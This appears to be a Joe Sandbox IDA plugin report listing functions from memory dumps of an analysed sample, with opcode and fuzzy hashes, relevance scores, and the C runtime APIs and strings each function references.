Source File: 00000000.00000002.1600511112.0000000000FD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000000.00000002.1600468674.0000000000FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600531681.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600549282.0000000000FFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600642803.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600655464.0000000001051000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600666375.0000000001053000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fd0000_SecuriteInfo.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 5960ada59bdfd099edf632d6201ab92b6a20f32b6a1f0dcc8cb815f920201f9d
Instruction ID: 09c7142ce7a8be141ae42d157c3863af6279a93c3df6c166a382d748dc0df09e
Opcode Fuzzy Hash: 5960ada59bdfd099edf632d6201ab92b6a20f32b6a1f0dcc8cb815f920201f9d
Instruction Fuzzy Hash: A5A0113020220A8B83008F32AA0820E3AE8BE082C0300A028A800C8230EA288800AB02

Uniqueness

Uniqueness Score: -1.00%

Function 010064B8 Relevance: .8, Instructions: 824COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1600549282.0000000000FFD000.00000004.00000001.01000000.00000003.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000000.00000002.1600468674.0000000000FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600511112.0000000000FD1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600531681.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600642803.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600655464.0000000001051000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600666375.0000000001053000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fd0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 704b87d1b9c676f88e1c07b0446b889827816cb16b5e5fb0875026c9d654919f
Instruction ID: d94627f8bd3327223c1b5ed0187219ce96c44ab264a40341e6ab0e941ac49ca5
Opcode Fuzzy Hash: 704b87d1b9c676f88e1c07b0446b889827816cb16b5e5fb0875026c9d654919f
Instruction Fuzzy Hash: A252D2719083118BE726DF1CD8802BEB3E2FFC4315F198A6DD9C697281D736A965CB42

Uniqueness

Uniqueness Score: -1.00%

Function 01002578 Relevance: .6, Instructions: 609COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1600549282.0000000000FFD000.00000004.00000001.01000000.00000003.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000000.00000002.1600468674.0000000000FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600511112.0000000000FD1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600531681.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600642803.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600655464.0000000001051000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600666375.0000000001053000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fd0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 405badcde3d6b64d8339dbb199358104ac972eded07c6d2cad8e1c47b1b436aa
Instruction ID: dbff90923f773f8d530493f335b2f7879a8d13bf99d15806b04e764b8aed72fc
Opcode Fuzzy Hash: 405badcde3d6b64d8339dbb199358104ac972eded07c6d2cad8e1c47b1b436aa
Instruction Fuzzy Hash: 6D424374504B518FE36ACF28C98866ABBE1BF85310F948A2DE5D78BB90D735F845CB10

Uniqueness

Uniqueness Score: -1.00%

Function 01004898 Relevance: .5, Instructions: 512COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1600549282.0000000000FFD000.00000004.00000001.01000000.00000003.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000000.00000002.1600468674.0000000000FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600511112.0000000000FD1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600531681.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600642803.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600655464.0000000001051000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600666375.0000000001053000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fd0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d6b26135a85f1ba36ec99bd4b3dc625d20bcced6620301fca5a619afc7e9557
Instruction ID: e2ee1b8ba1a5898a222948fae4aa516367107e22491cb4f2704a6ea9106b0f35
Opcode Fuzzy Hash: 8d6b26135a85f1ba36ec99bd4b3dc625d20bcced6620301fca5a619afc7e9557
Instruction Fuzzy Hash: A802C3366083408FE715DF19C88076EBBE2AFC9300F49886DEA89CB392D735D945CB56

Uniqueness

Uniqueness Score: -1.00%

Function 010354A8 Relevance: .2, Instructions: 179COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1600549282.0000000000FFD000.00000004.00000001.01000000.00000003.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000000.00000002.1600468674.0000000000FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600511112.0000000000FD1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600531681.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600642803.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600655464.0000000001051000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600666375.0000000001053000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fd0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5283dc610b84476a3bfe8030d84597957c38cd4604d2c84043f1c65b159b1717
Instruction ID: 7ae37aec3067b2fda46bf73ff0624e9e1cbf6899eb5450e3c70f411631f3201e
Opcode Fuzzy Hash: 5283dc610b84476a3bfe8030d84597957c38cd4604d2c84043f1c65b159b1717
Instruction Fuzzy Hash: 6B5199B15087458FE714DF29D89076BBBE5ABC4308F10892DE5E5833A0E779DA08CF92

Uniqueness

Uniqueness Score: -1.00%

Function 0100E7A8 Relevance: .1, Instructions: 129COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1600549282.0000000000FFD000.00000004.00000001.01000000.00000003.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000000.00000002.1600468674.0000000000FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600511112.0000000000FD1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600531681.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600642803.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600655464.0000000001051000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600666375.0000000001053000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fd0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6aa11f6f4a518f1ec9b7213e40d7585fd05eafcaa0b61d55425383660056fcff
Instruction ID: 3496edd6a105df53044fc840318915c8ac7167c6bfcea5e7953159753bfaa6ae
Opcode Fuzzy Hash: 6aa11f6f4a518f1ec9b7213e40d7585fd05eafcaa0b61d55425383660056fcff
Instruction Fuzzy Hash: FC4117B66082604FF3098B39C8A037EBBD29FC5350F098A6DF5E9873D1C6388586DB11

Uniqueness

Uniqueness Score: -1.00%

Function 01001778 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1600549282.0000000000FFD000.00000004.00000001.01000000.00000003.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000000.00000002.1600468674.0000000000FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600511112.0000000000FD1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600531681.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600642803.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600655464.0000000001051000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600666375.0000000001053000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fd0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c13f1d557ea536178174eb7577c9bf12e8bf931615158e98624bb0dc624b4247
Instruction ID: cdefc5bac14eba1ce463225d0b019e0f9381f83e299b222be0081cf8853f6ce9
Opcode Fuzzy Hash: c13f1d557ea536178174eb7577c9bf12e8bf931615158e98624bb0dc624b4247
Instruction Fuzzy Hash: 3321F379B281A10BE3918B798CD062BB792ABC7312B1A4679DBC087293C131D916C250

Uniqueness

Uniqueness Score: -1.00%

Function 01038D48 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1600549282.0000000000FFD000.00000004.00000001.01000000.00000003.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000000.00000002.1600468674.0000000000FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600511112.0000000000FD1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600531681.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600642803.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600655464.0000000001051000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600666375.0000000001053000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fd0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68fc77e61695b0ff67a2e69ca634307be6ef9a4823fc907b067ef3b28846c05a
Instruction ID: c905b4d9763a368851d3ced3635ef752e12cc9329041eb6300d776407a6cf703
Opcode Fuzzy Hash: 68fc77e61695b0ff67a2e69ca634307be6ef9a4823fc907b067ef3b28846c05a
Instruction Fuzzy Hash: 21219AB26193019FD308CF25D850B5FBBE1ABC5354F588A2CE8A587381D338D9068B87

Uniqueness

Uniqueness Score: -1.00%

Function 0100BA68 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1600549282.0000000000FFD000.00000004.00000001.01000000.00000003.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000000.00000002.1600468674.0000000000FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600511112.0000000000FD1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600531681.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600642803.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600655464.0000000001051000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600666375.0000000001053000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fd0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae9cf52e3d41c581a170ec7cf48180e445a84ed293e19ee7d78fcac670432e06
Instruction ID: 87195c33167c26e22f9213031125e85f524cfc4785105961a62623f0bcf64677
Opcode Fuzzy Hash: ae9cf52e3d41c581a170ec7cf48180e445a84ed293e19ee7d78fcac670432e06
Instruction Fuzzy Hash: 9DD0A76154C7A10EB7998D3804A047BFFE4EA47553F1824DEE5D1E3155D624D8414758

Uniqueness

Uniqueness Score: -1.00%

Function 00FF1093 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 147COMMONLIBRARYCODE

Download Yara Rule

APIs

DecodePointer.KERNEL32(?,?,?,?,?,?,?,?,?,00FF09FF), ref: 00FF10AC

Strings

log10, xrefs: 00FF10EE, 00FF10FD
log, xrefs: 00FF1109, 00FF1118
pow, xrefs: 00FF114A, 00FF11F4, 00FF1241
acos, xrefs: 00FF11E2
exp, xrefs: 00FF112B, 00FF1190
sqrt, xrefs: 00FF11EB
asin, xrefs: 00FF11D9

Memory Dump Source

Source File: 00000000.00000002.1600511112.0000000000FD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000000.00000002.1600468674.0000000000FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600531681.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600549282.0000000000FFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600642803.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600655464.0000000001051000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600666375.0000000001053000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fd0000_SecuriteInfo.jbxd

Similarity

API ID: DecodePointer
String ID: acos$asin$exp$log$log10$pow$sqrt
API String ID: 3527080286-3064271455
Opcode ID: 4f92b93e28dc79742a39f40e950204b576e14dcd87488f32a8975c3e69e5a714
Instruction ID: 355ba2daa1101fd5d654be675332f6da58c193c7999d48338e85b956d4ccac40
Opcode Fuzzy Hash: 4f92b93e28dc79742a39f40e950204b576e14dcd87488f32a8975c3e69e5a714
Instruction Fuzzy Hash: D7517971D0050EDBCF208FA9D8882BEBBB8FF05324F144156E781A6275CBB48925FB55

Uniqueness

Uniqueness Score: -1.00%

Function 00FD9628 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 00FD9747
___TypeMatch.LIBVCRUNTIME ref: 00FD9855
_UnwindNestedFrames.LIBCMT ref: 00FD99A7
CallUnexpected.LIBVCRUNTIME ref: 00FD99C2

Strings

csm, xrefs: 00FD96D2
csm, xrefs: 00FD9665
csm, xrefs: 00FD977E

Memory Dump Source

Source File: 00000000.00000002.1600511112.0000000000FD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000000.00000002.1600468674.0000000000FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600531681.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600549282.0000000000FFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600642803.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600655464.0000000001051000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600666375.0000000001053000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fd0000_SecuriteInfo.jbxd

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2751267872-393685449
Opcode ID: c2c0a95cfd84a0a7631366e274c47f59aa3971f9d9ad6ec3033a19f824ec5a65
Instruction ID: 1ec3d7e483d88bb9dea52ac57c13546316779ab8afcf7c1f46d6038a064c9ffa
Opcode Fuzzy Hash: c2c0a95cfd84a0a7631366e274c47f59aa3971f9d9ad6ec3033a19f824ec5a65
Instruction Fuzzy Hash: CBB14B71C08209EFCF15EFE4C9819AEB7B6BF04320B18415BE8156B316D3B5DA51EB92

Uniqueness

Uniqueness Score: -1.00%

Function 00FF04BA Relevance: 12.2, APIs: 8, Instructions: 248COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,?), ref: 00FF0560
__alloca_probe_16.LIBCMT ref: 00FF061B
__alloca_probe_16.LIBCMT ref: 00FF06AA
__freea.LIBCMT ref: 00FF06F5
__freea.LIBCMT ref: 00FF06FB
__freea.LIBCMT ref: 00FF0731
__freea.LIBCMT ref: 00FF0737
__freea.LIBCMT ref: 00FF0747

Memory Dump Source

Source File: 00000000.00000002.1600511112.0000000000FD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000000.00000002.1600468674.0000000000FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600531681.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600549282.0000000000FFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600642803.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600655464.0000000001051000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600666375.0000000001053000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fd0000_SecuriteInfo.jbxd

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: a38aa7640feaec74f4d046da2fdf3d8c64f5d94f74aafc9a48102565b9e2eaf2
Instruction ID: ccf60023be2f58dbd5a1f345364f3094724860c023d3a1372d2578ee16489923
Opcode Fuzzy Hash: a38aa7640feaec74f4d046da2fdf3d8c64f5d94f74aafc9a48102565b9e2eaf2
Instruction Fuzzy Hash: B771D673D0024E9BDF21AE548C81FBE77A69F45720F2C0099EA44A7263EF759C01AF64

Uniqueness

Uniqueness Score: -1.00%

Function 00FEEDED Relevance: 9.3, APIs: 6, Instructions: 298COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1600511112.0000000000FD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000000.00000002.1600468674.0000000000FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600531681.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600549282.0000000000FFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600642803.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600655464.0000000001051000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600666375.0000000001053000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fd0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f5cbd7e11c121e49de026a0a2628ba0e32be396f2de9a59b8f0f137ce7f9e7b4
Instruction ID: 7790c476c831e3bf5b660af7996bf69232587332bfab98839c23711a636839ec
Opcode Fuzzy Hash: f5cbd7e11c121e49de026a0a2628ba0e32be396f2de9a59b8f0f137ce7f9e7b4
Instruction Fuzzy Hash: DBB12571E04289EFDB11DF9AC880BBE7BF2AF44314F184069E5009B392C7799E05EB61

Uniqueness

Uniqueness Score: -1.00%

Function 00FD483B Relevance: 9.1, APIs: 6, Instructions: 65COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00FD4842
std::_Lockit::_Lockit.LIBCPMT ref: 00FD484C
int.LIBCPMT ref: 00FD4863

Part of subcall function 00FD21B2: std::_Lockit::_Lockit.LIBCPMT ref: 00FD21C3
Part of subcall function 00FD21B2: std::_Lockit::~_Lockit.LIBCPMT ref: 00FD21DD

codecvt.LIBCPMT ref: 00FD4886
std::_Facet_Register.LIBCPMT ref: 00FD489D
std::_Lockit::~_Lockit.LIBCPMT ref: 00FD48BD

Memory Dump Source

Source File: 00000000.00000002.1600511112.0000000000FD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000000.00000002.1600468674.0000000000FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600531681.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600549282.0000000000FFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600642803.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600655464.0000000001051000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600666375.0000000001053000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fd0000_SecuriteInfo.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registercodecvt
String ID:
API String ID: 712880209-0
Opcode ID: 6da5790472ac42195d94399e3a804ad8e96601c62843ab873135d34e6f459418
Instruction ID: db1f45d58497a7b66d5260799df1a1548b40338ce8296a3dfe990aaebbfc4813
Opcode Fuzzy Hash: 6da5790472ac42195d94399e3a804ad8e96601c62843ab873135d34e6f459418
Instruction Fuzzy Hash: AF117F729002189BCB15EF64CC457BEB7B6BF54720F1C040AE615A73A1DF78AA45AB81

Uniqueness

Uniqueness Score: -1.00%

Function 00FD92BA Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00FD92B1,00FD79E7,00FD6989), ref: 00FD92C8
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00FD92D6
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00FD92EF
SetLastError.KERNEL32(00000000,00FD92B1,00FD79E7,00FD6989), ref: 00FD9341

Memory Dump Source

Source File: 00000000.00000002.1600511112.0000000000FD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000000.00000002.1600468674.0000000000FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600531681.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600549282.0000000000FFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600642803.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600655464.0000000001051000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600666375.0000000001053000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fd0000_SecuriteInfo.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: c904aba64c96cacccdf74fa5fac7128236c7f8dc813e26c6f61c604d247df7ac
Instruction ID: 15da36ffa315a2e62e89e19851e7469fe5c3db2fe6b8ee56ca741657588f4324
Opcode Fuzzy Hash: c904aba64c96cacccdf74fa5fac7128236c7f8dc813e26c6f61c604d247df7ac
Instruction Fuzzy Hash: EA01D83260E3116E972426F5BC8AA2B364FEF02375B28032BF415853F5EE954C02B149

Uniqueness

Uniqueness Score: -1.00%

Function 00FE0131 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,6FA3B488,?,?,00000000,00FF20C7,000000FF,?,00FE00C1,?,?,00FE0095,00000000), ref: 00FE0166
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00FE0178
FreeLibrary.KERNEL32(00000000,?,00000000,00FF20C7,000000FF,?,00FE00C1,?,?,00FE0095,00000000), ref: 00FE019A

Strings

mscoree.dll, xrefs: 00FE015F
CorExitProcess, xrefs: 00FE0170

Memory Dump Source

Source File: 00000000.00000002.1600511112.0000000000FD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000000.00000002.1600468674.0000000000FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600531681.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600549282.0000000000FFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600642803.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600655464.0000000001051000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600666375.0000000001053000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fd0000_SecuriteInfo.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: d854f2b5c54abd0021cb46a99e07d981e21bab381393c5225e7db9f0527b86d3
Instruction ID: 3ada90c19e11fdf4749a0eec14a32a7ea356aaa41009258253dc9756f104a299
Opcode Fuzzy Hash: d854f2b5c54abd0021cb46a99e07d981e21bab381393c5225e7db9f0527b86d3
Instruction Fuzzy Hash: 22016231A44759AFDB118B54DC05FBEBBB8FF04B64F004529F811E62A0DFB99940DB90

Uniqueness

Uniqueness Score: -1.00%

Function 00FE61EA Relevance: 7.7, APIs: 5, Instructions: 202COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00FE6271
__alloca_probe_16.LIBCMT ref: 00FE6332
__freea.LIBCMT ref: 00FE6399

Part of subcall function 00FE3D30: HeapAlloc.KERNEL32(00000000,01160EB8,00000000,?,00FD6126,01160EB8,?,00FD26AE,00000044,00000000,01160EB8), ref: 00FE3D62

__freea.LIBCMT ref: 00FE63AE
__freea.LIBCMT ref: 00FE63BE

Memory Dump Source

Source File: 00000000.00000002.1600511112.0000000000FD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000000.00000002.1600468674.0000000000FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600531681.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600549282.0000000000FFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600642803.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600655464.0000000001051000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600666375.0000000001053000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fd0000_SecuriteInfo.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocHeap
String ID:
API String ID: 1096550386-0
Opcode ID: c38377be8c0fbc426914c03ff6e54bd54303c9d923a61de2d84e6b9c6828ae56
Instruction ID: 6d90c4a569b527a342d406e36b0454b2556bf2337433969fb2a573cc03db8d90
Opcode Fuzzy Hash: c38377be8c0fbc426914c03ff6e54bd54303c9d923a61de2d84e6b9c6828ae56
Instruction Fuzzy Hash: 9751B472A0028AAFEF205F66DC41EBB3BA9DF547A4B150529FD04D7250EB34DC10B7A0

Uniqueness

Uniqueness Score: -1.00%

Function 00FD4143 Relevance: 7.5, APIs: 5, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00FD414A
std::_Lockit::_Lockit.LIBCPMT ref: 00FD4155
std::_Lockit::~_Lockit.LIBCPMT ref: 00FD41C3

Part of subcall function 00FD42A6: std::locale::_Locimp::_Locimp.LIBCPMT ref: 00FD42BE

std::locale::_Setgloballocale.LIBCPMT ref: 00FD4170
_Yarn.LIBCPMT ref: 00FD4186

Memory Dump Source

Source File: 00000000.00000002.1600511112.0000000000FD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000000.00000002.1600468674.0000000000FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600531681.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600549282.0000000000FFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600642803.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600655464.0000000001051000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1600666375.0000000001053000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fd0000_SecuriteInfo.jbxd

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_SetgloballocaleYarn
String ID:
API String ID: 1088826258-0
